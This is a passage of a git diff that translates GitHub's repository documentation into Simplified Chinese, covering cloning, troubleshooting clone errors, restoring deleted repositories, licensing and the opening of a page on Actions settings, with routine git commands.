{% octicon "clippy" aria-label="The clipboard icon" %}。 + ![空存储库克隆 URL 按钮](/assets/images/help/repository/empty-https-url-clone-button.png) - Alternatively, to clone your repository in Desktop, click {% octicon "desktop-download" aria-label="The desktop download button" %} **Set up in Desktop** and follow the prompts to complete the clone. - ![Empty repository clone desktop button](/assets/images/help/repository/empty-desktop-clone-button.png) + 或者,要在 Desktop 中克隆存储库,请单击 {% octicon "desktop-download" aria-label="The desktop download button" %}“在 Desktop 中进行设置”,然后按照提示完成克隆。 + ![空存储库克隆桌面按钮](/assets/images/help/repository/empty-desktop-clone-button.png) -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -{% data reusables.command_line.git-clone-url %} -{% data reusables.command_line.local-clone-created %} +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.change-current-directory-clone %} {% data reusables.command_line.git-clone-url %} {% data reusables.command_line.local-clone-created %} -## Troubleshooting cloning errors +## 排查克隆错误 -When cloning a repository it's possible that you might encounter some errors. +在克隆仓库时,可能会遇到一些错误。 -If you're unable to clone a repository, check that: +如果无法克隆仓库,请检查: -- You can connect using HTTPS. For more information, see "[HTTPS cloning errors](/github/creating-cloning-and-archiving-repositories/https-cloning-errors)." -- You have permission to access the repository you want to clone. For more information, see "[Error: Repository not found](/github/creating-cloning-and-archiving-repositories/error-repository-not-found)." -- The default branch you want to clone still exists. For more information, see "[Error: Remote HEAD refers to nonexistent ref, unable to checkout](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors#error-remote-head-refers-to-nonexistent-ref-unable-to-checkout)." +- 您可以使用 HTTPS 连接。 有关详细信息,请参阅“[HTTPS 克隆错误](/github/creating-cloning-and-archiving-repositories/https-cloning-errors)”。 +- 您有权访问要克隆的仓库。 有关详细信息,请参阅“[错误:找不到存储库](/github/creating-cloning-and-archiving-repositories/error-repository-not-found)”。 +- 要克隆的默认分支仍然存在。 有关详细信息,请参阅“[错误:远程 HEAD 引用不存在的 ref,无法签出](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors#error-remote-head-refers-to-nonexistent-ref-unable-to-checkout)”。 {% ifversion fpt or ghec %} -## Further reading +## 延伸阅读 -- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)" -{% endif %} +- [排查连接问题](/articles/troubleshooting-connectivity-problems){% endif %} diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md index 86cdc8a075..3503db2111 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md @@ -1,6 +1,6 @@ --- -title: Restoring a deleted repository -intro: '{% ifversion ghes or ghae %}An enterprise owner{% elsif fpt or ghec %}You{% endif %} can restore some deleted repositories to recover their contents.' +title: 恢复已删除的仓库 +intro: '{% ifversion ghes or ghae %}企业所有者{% elsif fpt or ghec %}你{% endif %}可还原某些已删除的存储库以恢复其内容。' permissions: '{% ifversion ghes or ghae %}{% elsif fpt or ghec %}Anyone can restore deleted repositories that were owned by their own personal account. Organization owners can restore deleted repositories that were owned by the organization.{% endif %}' redirect_from: - /articles/restoring-a-deleted-repository @@ -14,43 +14,40 @@ versions: topics: - Repositories shortTitle: Restore deleted repository +ms.openlocfilehash: 233785cc42ac6dd97a35d042186ae198dd69502a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146200096' --- - {% ifversion ghes or ghae %} -Usually, deleted repositories can be restored within 90 days by an enterprise owner{% ifversion ghes %} on {% data variables.location.product_location %}{% endif %}. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." +通常,企业所有者{% ifversion ghes %}可在 {% data variables.product.product_location %}{% endif %} 上在删除后的 90 天内还原已删除的存储库。 有关详细信息,请参阅“[还原已删除的存储库](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)”。 {% else %} -## About repository restoration +## 关于仓库恢复 -A deleted repository can be restored within 90 days, unless the repository was part of a fork network that is not currently empty. A fork network consists of a parent repository, the repository's forks, and forks of the repository's forks. If your repository was part of a fork network, it cannot be restored unless every other repository in the network is deleted or has been detached from the network. For more information about forks, see "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)." +删除的仓库可在 90 天内恢复,除非仓库是目前非空白的复刻网络的一部分。 复刻网络由父仓库、仓库的复刻以及该仓库复刻的复刻组成。 如果仓库是复刻网络的一部分,则在网络中的每个其他仓库被删除或者从网络中脱离之前,无法恢复它。 有关分支的详细信息,请参阅“[关于分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)”。 -If you want to restore a repository that was part of a fork network that is not currently empty, you can contact {% data variables.contact.contact_support %}. +如果要恢复属于当前非空白的复刻网络一部分的仓库,可以联系 {% data variables.contact.contact_support %}。 -It can take up to an hour after a repository is deleted before that repository is available for restoration. +仓库被删除后,可能需要一个小时才能恢复。 -Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. +恢复仓库不会恢复发行版附件或团队权限。 已恢复的议题不会被标记。 -## Restoring a deleted repository that was owned by a personal account +## 还原个人帐户所拥有的已删除存储库 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.repo-tab %} -{% data reusables.user-settings.deleted-repos %} -{% data reusables.user-settings.restore-repo %} -{% data reusables.user-settings.restore-confirmation %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.repo-tab %} {% data reusables.user-settings.deleted-repos %} {% data reusables.user-settings.restore-repo %} {% data reusables.user-settings.restore-confirmation %} -## Restoring a deleted repository that was owned by an organization +## 恢复组织所拥有的已删除仓库 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.deleted-repos %} -{% data reusables.user-settings.restore-repo %} -{% data reusables.user-settings.restore-confirmation %} +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.deleted-repos %} {% data reusables.user-settings.restore-repo %} {% data reusables.user-settings.restore-confirmation %} -## Further reading +## 延伸阅读 -- "[Deleting a repository](/articles/deleting-a-repository)" +- [删除存储库](/articles/deleting-a-repository) {% endif %} diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md index 21b3f9b46b..ec9b66273e 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md @@ -1,6 +1,6 @@ --- -title: Troubleshooting cloning errors -intro: 'If you''re having trouble cloning a repository, check these common errors.' +title: 排查克隆错误 +intro: 如果您在克隆存储库时遇到问题,请检查这些常见错误。 redirect_from: - /articles/error-the-requested-url-returned-error-403 - /articles/error-the-requested-url-returned-error-401 @@ -19,41 +19,45 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: 60a5ff0350fed34841099c18f495b185b75f9832 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147093140' --- +## HTTPS 克隆错误 -## HTTPS cloning errors +对 Git 使用 HTTPS 时有几种常见错误。 这些错误通常表示您有旧版 Git,或无法访问仓库。 -There are a few common errors when using HTTPS with Git. These errors usually indicate you have an old version of Git, or you don't have access to the repository. - -Here's an example of an HTTPS error you might receive: +下面是您可能收到的 HTTPS 错误示例: ```shell > error: The requested URL returned error: 401 while accessing -> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs?service=git-receive-pack +> https://{% data variables.command_line.codeblock %}/user/repo.git/info/refs?service=git-receive-pack > fatal: HTTP request failed ``` ```shell > Error: The requested URL returned error: 403 while accessing -> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs +> https://{% data variables.command_line.codeblock %}/user/repo.git/info/refs > fatal: HTTP request failed ``` ```shell -> Error: https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs not found: did you run git +> Error: https://{% data variables.command_line.codeblock %}/user/repo.git/info/refs not found: did you run git > update-server-info on the server? ``` -### Check your Git version +### 检查 Git 版本 -There's no minimum Git version necessary to interact with {% data variables.product.product_name %}, but we've found version 1.7.10 to be a comfortable stable version that's available on many platforms. You can always [download the latest version on the Git website](https://git-scm.com/downloads). +与 {% data variables.product.product_name %} 交互没有最低 Git 版本要求,但我们发现 1.7.10 版是一个方便、稳定的版本,适用于许多平台。 你可以始终在 [Git 网站上下载最新版本](https://git-scm.com/downloads)。 -### Ensure the remote is correct +### 确保远程正确 -The repository you're trying to fetch must exist on {% data variables.location.product_location %}, and the URL is case-sensitive. +您要提取的仓库必须存在于 {% data variables.product.product_location %} 上,且 URL 区分大小写。 -You can find the URL of the local repository by opening the command line and -typing `git remote -v`: +可以打开命令行并键入 `git remote -v` 来查找本地存储库的 URL: ```shell $ git remote -v @@ -70,89 +74,86 @@ $ git remote -v > origin https://github.com/ghost/ReactiveCocoa.git (push) ``` -Alternatively, you can change the URL through our -[{% data variables.product.prodname_desktop %}](https://desktop.github.com/) application. +也可通过 [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) 应用程序更改 URL。 -### Provide an access token +### 提供访问令牌 -To access {% data variables.product.prodname_dotcom %}, you must authenticate with a {% data variables.product.pat_generic %} instead of your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +要访问 {% data variables.product.prodname_dotcom %},您必须使用个人访问令牌而不是密码进行身份验证。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 {% data reusables.command_line.provide-an-access-token %} -### Check your permissions +### 检查权限 -When prompted for a username and password, make sure you use an account that has access to the repository. +提示输入用户名和密码时,确保使用可以访问仓库的帐户。 {% tip %} -**Tip**: If you don't want to enter your credentials every time you interact with the remote repository, you can turn on [credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git). If you are already using credential caching, please make sure that your computer has the correct credentials cached. Incorrect or out of date credentials will cause authentication to fail. +提示:如果不想在每次与远程存储库交互时都输入用户名和密码,可以打开[凭据缓存](/github/getting-started-with-github/caching-your-github-credentials-in-git)。 如果已在使用凭据缓存,请确保您的计算机缓存了正确的凭据。 不正确或过期的凭据将导致身份验证失败。 {% endtip %} -### Use SSH instead +### 改用 SSH -If you've previously set up SSH keys, you can use the SSH clone URL instead of HTTPS. For more information, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." +如果您以前设置了 SSH 密钥,便可使用 SSH 克隆 URL,而不使用 HTTPS。 有关详细信息,请参阅“[关于远程存储库](/github/getting-started-with-github/about-remote-repositories)”。 -## Error: Repository not found +## 错误:未找到仓库 -{% ifversion fpt or ghae or ghec %}If you see this error when cloning a repository, it means that the repository does not exist or you do not have permission to access it.{% else %}If you see this error when cloning a repository, it means that the repository does not exist, you do not have permission to access it, or {% data variables.location.product_location %} is in private mode.{% endif %} There are a few solutions to this error, depending on the cause. +{% ifversion fpt or ghae or ghec %}如果在克隆存储库时看到此错误,这意味着存储库不存在或者你无权访问它。{% else %}如果在克隆存储库时看到此错误,这意味着存储库不存在或者你无权访问它,或者 {% data variables.product.product_location %} 处于专用模式。{% endif %} 此错误有一些解决方案,具体取决于错误原因。 -### Check your spelling +### 检查拼写 -Typos happen, and repository names are case-sensitive. If you try to clone `git@{% data variables.command_line.codeblock %}:user/repo.git`, but the repository is really named `User/Repo` you will receive this error. +拼写错误可能发生,并且仓库名称区分大小写。 如果尝试克隆 `git@{% data variables.command_line.codeblock %}:user/repo.git`,但存储库已实际命名为 `User/Repo`,则会收到此错误。 -To avoid this error, when cloning, always copy and paste the clone URL from the repository's page. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." +要避免此错误,克隆时,始终从仓库页面复制和粘贴克隆 URL。 有关详细信息,请参阅“[克隆存储库](/articles/cloning-a-repository)”。 -To update the remote on an existing repository, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)". +若要更新现有存储库上的的远程存储,请参阅“[管理远程存储库](/github/getting-started-with-github/managing-remote-repositories)”。 -### Checking your permissions +### 检查权限 -If you are trying to clone a private repository but do not have permission to view the repository, you will receive this error. +如果您尝试克隆私有仓库,但没有查看仓库的权限,您将收到此错误。 -Make sure that you have access to the repository in one of these ways: +确保您通过以下方式之一中,拥有仓库的访问权限: -* The owner of the repository -* A [collaborator](/articles/inviting-collaborators-to-a-personal-repository) on the repository -* A [member of a team](/articles/adding-organization-members-to-a-team) that has access to the repository (if the repository belongs to an organization) +* 仓库所有者 +* 存储库上的[协作者](/articles/inviting-collaborators-to-a-personal-repository) +* 拥有存储库访问权限的[团队成员](/articles/adding-organization-members-to-a-team)(如果存储库属于组织) -### Check your SSH access +### 检查 SSH 访问权限 -In rare circumstances, you may not have the proper SSH access to a repository. +在极少数情况下,您可能没有仓库的适当 SSH 访问权限。 -You should ensure that the SSH key you are using is attached to your personal account on {% data variables.product.product_name %}. You can check this by typing -the following into the command line: +应确保正在使用的 SSH 密钥已连接到你在 {% data variables.product.product_name %} 上的个人帐户。 可以通过在命令行中键入以下内容检查此项: ```shell $ ssh -T git@{% data variables.command_line.codeblock %} -> Hi USERNAME! You've successfully authenticated, but GitHub does not +> Hi username! You've successfully authenticated, but GitHub does not > provide shell access. ``` -{% ifversion fpt or ghec %} -If the repository belongs to an organization and you're using an SSH key generated by an OAuth App, OAuth App access may have been restricted by an organization owner. For more information, see "[About OAuth App access restrictions](/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions)." +{% ifversion fpt or ghec %} 如果存储库属于某一组织并且你使用的是 OAuth 应用生成的 SSH 密钥,则 OAuth 应用访问权限可能已被组织所有者所限制。 有关详细信息,请参阅“[关于 OAuth 应用访问限制](/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions)”。 {% endif %} -For more information, see [Adding a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account). +有关详细信息,请参阅“[将新的 SSH 密钥添加到 GitHub 帐户](/articles/adding-a-new-ssh-key-to-your-github-account)”。 {% ifversion ghes %} -### Check if your instance is in private mode +### 检查实例是否处于私有模式 -If your site administrator has enabled private mode on your GitHub Enterprise instance, anonymous clones over `git://` will be disabled. If you are unable to clone a repository, contact your site administrator. +如果站点管理员已对你的 GitHub Enterprise 实例启用专用模式,将禁用通过 `git://` 进行的匿名克隆。 如果您无法克隆仓库,请联系您的站点管理员。 {% endif %} -### Check that the repository really exists +### 检查仓库是否确实存在 -If all else fails, make sure that the repository really exists on {% data variables.location.product_location %}! -If you're trying to push to a repository that doesn't exist, you'll get this error. +如果所有其他内容失败,确保仓库在 {% data variables.product.product_location %} 上确实存在! +如果您尝试推送不存在的仓库,您将收到此错误。 -## Error: Remote HEAD refers to nonexistent ref, unable to checkout +## 错误:远程 HEAD 引用不存在的 ref,无法检出 -This error occurs if the default branch of a repository has been deleted on {% data variables.location.product_location %}. +如果已在 {% data variables.product.product_location %} 上删除仓库的默认分支,会发生此错误。 -Detecting this error is simple; Git will warn you when you try to clone the repository: +检测此错误很简单;当您尝试克隆以下仓库时,Git 会警告您: ```shell -$ git clone https://{% data variables.command_line.codeblock %}/USER/REPO.git +$ git clone https://{% data variables.command_line.codeblock %}/user/repo.git # Clone a repo > Cloning into 'repo'... > remote: Counting objects: 66179, done. @@ -163,10 +164,10 @@ $ git clone https://{% data variables.command_line.codeblock %}/USER/REPO.git > warning: remote HEAD refers to nonexistent ref, unable to checkout. ``` -To fix the error, you'll need to be an administrator of the repository on {% data variables.location.product_location %}. -You'll want to [change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository. +要修复此错误,您需要成为 {% data variables.product.product_location %} 上仓库的管理员。 +你将要[更改存储库的默认分支](/github/administering-a-repository/changing-the-default-branch)。 -After that, you can get a list of all the available branches from the command line: +之后,您可以从命令行获取所有可用分支的列表: ```shell $ git branch -a @@ -176,7 +177,7 @@ $ git branch -a > remotes/origin/new-main ``` -Then, you can just switch to your new branch: +然后,您可以切换到新分支: ```shell $ git checkout new-main diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md index 6df07234e6..50adc4e0d6 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md @@ -1,6 +1,6 @@ --- -title: Licensing a repository -intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.' +title: 许可仓库 +intro: GitHub 上的公共仓库常用于共享开源软件。 要使仓库真正开源,您需要许可它供其他人免费使用、更改和分发软件。 redirect_from: - /articles/open-source-licensing - /articles/licensing-a-repository @@ -12,87 +12,93 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: f49dad5c20909647b1d7da7bb44a80a771337966 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881794' --- -## Choosing the right license +## 选择合适的许可 -We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision. +我们创建了 [choosealicense.com](https://choosealicense.com),帮助你了解如何授权代码。 软件许可是告诉其他人,他们能够对您的代码做什么,不能做什么,因此做明智的决定很重要。 -You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project. +您没有选择许可的义务, 但如果没有许可,就会默认实施版权法,因此您会保留对您的源代码的所有权利,任何人都不能复制、分发您的工作或创建其派生作品。 如果您创建开源项目,强烈建议您包含开源许可。 [开放源代码指南](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project)为项目选择正确许可证提供了额外指导。 {% note %} -**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.location.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." +注意:{% ifversion fpt or ghec %}根据[服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service),如果你在 {% data variables.product.product_name %} 的公共存储库中发布源代码,{% endif %}{% data variables.product.product_location %} 的其他用户有权查看你的存储库并为其创建分支。 如果您已创建仓库,并且不再希望用户访问它,便可将仓库设为私有。 在将仓库的可见性变为私有时,其他用户创建的现有复刻或本地副本仍将存在。 有关详细信息,请参阅“[设置存储库可见性](/github/administering-a-repository/setting-repository-visibility)”。 {% endnote %} -## Determining the location of your license +## 确定许可的位置 -Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md). +大多数用户都会将许可证文本放在存储库根中名为 `LICENSE.txt`(或者 `LICENSE.md` 或 `LICENSE.rst`)的文件中;[此处有来自 Hubot 的示例](https://github.com/github/hubot/blob/master/LICENSE.md)。 -Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license." +有些项目在其自述文件中包含许可的相关信息。 例如,项目的自述文件可能包含一条注释,表示“此项目根据 MIT 许可的条款进行许可”。 -As a best practice, we encourage you to include the license file with your project. +作为最佳实践,我们建议您的项目随附许可文件。 -## Searching GitHub by license type +## 按许可类型搜索 GitHub -You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword: +你可以使用 `license` 限定符和精确的许可证关键字,根据存储库的许可证或许可证系列来筛选存储库: -License | License keyword +许可证 | 许可关键字 --- | --- -| Academic Free License v3.0 | `afl-3.0` | -| Apache license 2.0 | `apache-2.0` | -| Artistic license 2.0 | `artistic-2.0` | -| Boost Software License 1.0 | `bsl-1.0` | -| BSD 2-clause "Simplified" license | `bsd-2-clause` | -| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` | -| BSD 3-clause Clear license | `bsd-3-clause-clear` | -| Creative Commons license family | `cc` | -| Creative Commons Zero v1.0 Universal | `cc0-1.0` | -| Creative Commons Attribution 4.0 | `cc-by-4.0` | -| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` | -| Do What The F*ck You Want To Public License | `wtfpl` | -| Educational Community License v2.0 | `ecl-2.0` | -| Eclipse Public License 1.0 | `epl-1.0` | -| Eclipse Public License 2.0 | `epl-2.0` | -| European Union Public License 1.1 | `eupl-1.1` | -| GNU Affero General Public License v3.0 | `agpl-3.0` | -| GNU General Public License family | `gpl` | -| GNU General Public License v2.0 | `gpl-2.0` | -| GNU General Public License v3.0 | `gpl-3.0` | -| GNU Lesser General Public License family | `lgpl` | -| GNU Lesser General Public License v2.1 | `lgpl-2.1` | -| GNU Lesser General Public License v3.0 | `lgpl-3.0` | +| 学术自由许可证 v3.0 | `afl-3.0` | +| Apache 许可证 2.0 | `apache-2.0` | +| 艺术许可协议 2.0 | `artistic-2.0` | +| Boost 软件许可证 1.0 | `bsl-1.0` | +| 二条款 BSD“简化版”许可证 | `bsd-2-clause` | +| 三条款 BSD“新版”或“修改版”许可证 | `bsd-3-clause` | +| BSD 3 条款净化版许可证 | `bsd-3-clause-clear` | +| 知识共享许可证系列 | `cc` | +| 免费知识共享 v1.0 通用 | `cc0-1.0` | +| 知识共享署名 4.0 | `cc-by-4.0` | +| 知识共享署名相同方式共享 4.0 | `cc-by-sa-4.0` | +| 你想干嘛就干嘛公共许可证 | `wtfpl` | +| 教育社区许可证 v2.0 | `ecl-2.0` | +| Eclipse 公共许可证 1.0 | `epl-1.0` | +| Eclipse 公共许可证 2.0 | `epl-2.0` | +| 欧盟公共许可证 1.1 | `eupl-1.1` | +| GNU Affero 通用公共许可证 v3.0 | `agpl-3.0` | +| GNU 通用公共许可证系列 | `gpl` | +| GNU 通用公共许可证 v2.0 | `gpl-2.0` | +| GNU 通用公共许可证 v3.0 | `gpl-3.0` | +| GNU 宽通用公共许可证系列 | `lgpl` | +| GNU 宽通用公共许可证 v2.1 | `lgpl-2.1` | +| GNU 宽通用公共许可证 v3.0 | `lgpl-3.0` | | ISC | `isc` | -| LaTeX Project Public License v1.3c | `lppl-1.3c` | -| Microsoft Public License | `ms-pl` | +| LaTeX 项目公共许可证 v1.3c | `lppl-1.3c` | +| Microsoft 公共许可证 | `ms-pl` | | MIT | `mit` | -| Mozilla Public License 2.0 | `mpl-2.0` | -| Open Software License 3.0 | `osl-3.0` | -| PostgreSQL License | `postgresql` | -| SIL Open Font License 1.1 | `ofl-1.1` | -| University of Illinois/NCSA Open Source License | `ncsa` | +| Mozilla 公共许可证 2.0 | `mpl-2.0` | +| 开放软件许可证 3.0 | `osl-3.0` | +| PostgreSQL 许可证 | `postgresql` | +| SIL 开源字体许可 1.1 | `ofl-1.1` | +| 伊利诺伊大学/NCSA 开源许可证 | `ncsa` | | The Unlicense | `unlicense` | -| zLib License | `zlib` | +| zLib 许可证 | `zlib` | -When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)." +按系列许可搜索时,搜索结果将包含该系列的所有许可。 例如,使用查询 `license:gpl` 时,搜索结果将包括由 GNU 通用公共许可证 v2.0 和 GNU 通用公共许可证 v3.0 许可的存储库。 有关详细信息,请参阅“[搜索存储库](/search-github/searching-on-github/searching-for-repositories/#search-by-license)”。 -## Detecting a license +## 检测许可 -[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license). +[开放源代码 Ruby gem 被许可方](https://github.com/licensee/licensee)将存储库的许可证文件与已知许可证的简短列表进行比较。 被许可方还提供[许可证 API](/rest/reference/licenses),[让我们了解 {% data variables.product.product_name %} 上的存储库如何获得许可](https://github.com/blog/1964-open-source-license-usage-on-github-com)。 如果存储库使用的许可证未在[选择许可证网站](https://choosealicense.com/appendix/)上列出,可以[请求包括许可证](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license)。 -If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file. +如果您的仓库使用的许可列在“选择许可”网站中,但未明确显示在仓库页面顶部,其中可能包含多个许可或存在其他复杂性。 为使你的许可证被检测到,请简化许可证文件,并在其他地方(例如存储库的自述文件中)注明复杂度 。 -## Applying a license to a repository with an existing license +## 将许可应用到带现有许可的仓库 -The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)." +许可选择器仅当您在 GitHub 上创建新项目时可用。 您可以使用浏览器手动添加许可。 有关将许可证添加到存储库的详细信息,请参阅“[将许可证添加到存储库](/articles/adding-a-license-to-a-repository)”。 -![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png) +![GitHub.com 上许可选择器的屏幕截图](/assets/images/help/repository/repository-license-picker.png) -## Disclaimer +## 免责声明 -The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional. +GitHub 开源许可的目标是提供一个起点,帮助您做出明智的决定。 GitHub 显示许可信息以帮助用户了解开源许可以及使用它们的项目。 我们希望它有帮助,但请记住,我们不是律师,像其他人一样,我们也会犯错。 因此,GitHub“按原样”提供信息,对提供或通过其提供的任何信息或许可不做任何保证,并对使用许可信息所造成的损害不承担责任。 如果对适合您的代码的许可有任何疑问,或有任何其他相关的问题,最好咨询专业人员。 -## Further reading +## 延伸阅读 -- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %} -- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} +- 《开放源代码指南》的“[开放源代码的法律层面](https://opensource.guide/legal/)”部分{% ifversion fpt or ghec %} +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) {% endif %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index f6bff21e91..1fd256db9d 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -1,6 +1,6 @@ --- -title: Managing GitHub Actions settings for a repository -intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.' +title: 管理存储库的 GitHub Actions 设置 +intro: '您可以对特定仓库禁用或配置 {% data variables.product.prodname_actions %}。' redirect_from: - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository @@ -18,191 +18,151 @@ topics: - Pull requests shortTitle: Manage GitHub Actions settings miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 80bce0a3f43ccac75215bd738922dc5d79868793 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061126' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于仓库的 {% data variables.product.prodname_actions %} 权限 -## About {% data variables.product.prodname_actions %} permissions for your repository +{% data reusables.actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。 -{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see 